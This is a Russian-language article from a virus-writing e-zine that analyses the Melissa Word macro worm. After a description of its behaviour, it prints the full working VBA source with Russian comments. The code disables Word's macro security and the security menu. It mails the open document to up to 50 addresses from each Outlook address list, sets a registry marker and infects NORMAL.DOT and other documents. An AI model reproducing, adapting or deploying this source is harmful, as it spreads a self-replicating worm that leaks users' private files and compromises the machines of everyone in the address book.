- [Duke's Virus Labs #9] - [Page 32] - Анализ вируса Macro.Word97.Melissa (c) by ULTRAS Описание ******** Заражает файлы документов и шаблонов MS Word и рассылает свои копии в сообщениях электронной почты при помощи MS Outlook. Вирус распространяется чрезвычайно быстро: процедура рассылки зараженных писем отсылает большое количество вирусных копий по адресам из всех списков адресной книги MS Outlook. Вирус также изменяет системный реестр, выключает антивирусную защиту MS Word. Для рассылки своих копий через электронную почту вирус использует возможность Visual Basic активизировать другие приложения MS Windows и использовать их процедуры. Вирус вызывает MS Outlook, считывает из базы адресов Outlook адреса электронной почты и посылает по этим адресам сообщение. Это сообщение содержит: Тема: "Important Message From [UserName]" (UserName берется из базы адресов) Тело письма: "Here is that document you asked for ... don't show anyone else ;-)" К сообщению также присоединен документ (естественно зараженный), причем вирус присоединяет тот документ, который в данный момент редактируется (активный документ). Как побочный эффект подобного распространения передаются файлы пользователя, которые могут содержать конфиденциальные данные. Количество рассылаемых писем зависит от конфигурации адресной книги Outlook (базы адресов e-mail) на конкретном компьютере. Вирус открывает каждый список в адресной книге и отылает зараженное сообщение по 50 первым адресам из каждого списка. Если в списке меньше 50 адресов, вирус отсылает сообщение на все из них. Для каждого списка создается одно зараженное письмо, поле адресата которого содержит первые 50 адресов из списка. Вирус использует электронную почту для своего распространения только один раз - для этого проверяется специальная "метка" в системном реестре: HKEY_CURRENT_USER\Software\Microsoft\Office\ "Melissa?" = "... by Kwyjibo" Если этот ключ не найден, то вирус посылает сообщения электронной почты с приложенными зараженными документами и создает этот ключ в реестре. Вирус способен распространяться не только в версии Word97, но и в Word2000. Эта особенность вируса связана с возможность Word2000 преобразовывать файлы старого формата в новый при их открытии. При этом в новый формат конвертируются все необходимые секции файла, включая макро-программы (включая код вируса). Как результат, вирус получает возможность распространяться в среде Word2000. При запуске вируса в Word 2000 он производит дополнительные действия: выключает (устанавливает в минимум) установки безопасности (антивирусную защиту). Код вируса хранится в одном макро модуле "Melissa" и состоит из одной авто-процедуры: в зараженных документах это "Document_Open", в NORMAL.DOT (область глобальных макросов) - "Document_Close". Вирус заражает NORMAL.DOT при открытии зараженного документа и записывается в другие документы при их закрытии. При заражении вирус копирует свой код построчно из зараженного объекта в файл-жертву. В случае заражения области глобальных макросов вирус переименовывает свою процедуру в "Document_Close", когда же происходит заражение документов, то вирусная процедура переименовывается в "Document_Open". В результе вирус заражает Word при открытии зараженного документа, а при закрытии других документов они, в свою очередь, оказываются зараженными. Вирус также содержит процедуру-эффект, которая срабатывает в случае если день равен минутам в момент активации вирусного кода. Эта процедура вставляет следующий текст в редактируемый документ: Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here. Этот текст, так же, как и прозвище автора вируса ("Kwyjibo"), взят из телевизионного мульт-сериала "Симпсоны" ("Simpsons"). Вмрус также содержит комментарии в своем коде: WORD/Melissa written by Kwyjibo Works in both Word 2000 and Word 97 Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! Word -> Email | Word 97 <--> Word 2000 ... it's a new age! Код Вируса ********** Private Sub Document_Open() 'заражает при открытий документа On Error Resume Next 'проверим установку антивирусной защиты в word2000 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then 'удаляем фукцию из меню word CommandBars("Macro").Controls("Security...").Enabled = False 'записываем параметр в реестр System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else 'удаляем фукцию из меню word CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 'открываем outlook Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 'проверим использует электронную почту вирус If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" 'список в адресной книге For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 'если меньше 50 адресов, отсылает сообщение на все из них If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo 'записываем в subject BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 'запишим информацию BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" 'засуним в месаг наш документ BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 'пошлем сообщение BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If 'поставим метку в системном реестре что вирус послал по мылу сови копии System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If 'код заражения документов Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 'проверяем заражен активный документ If ADI1.Name <> "Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If 'проверяем заражен normal.dot If NTI1.Name <> "Melissa" Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA 'если не заражен normal.dot то заразим его If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" 'копируем свой код построчно из зараженного объекта в файл-жертву ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If 'если не заражен активный документ то заразим его If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 'копируем свой код построчно из зараженного объекта в файл-жертву ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 'Cрабатываем если день равен минутам в момент активации вирусного кода и ставляем текст If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub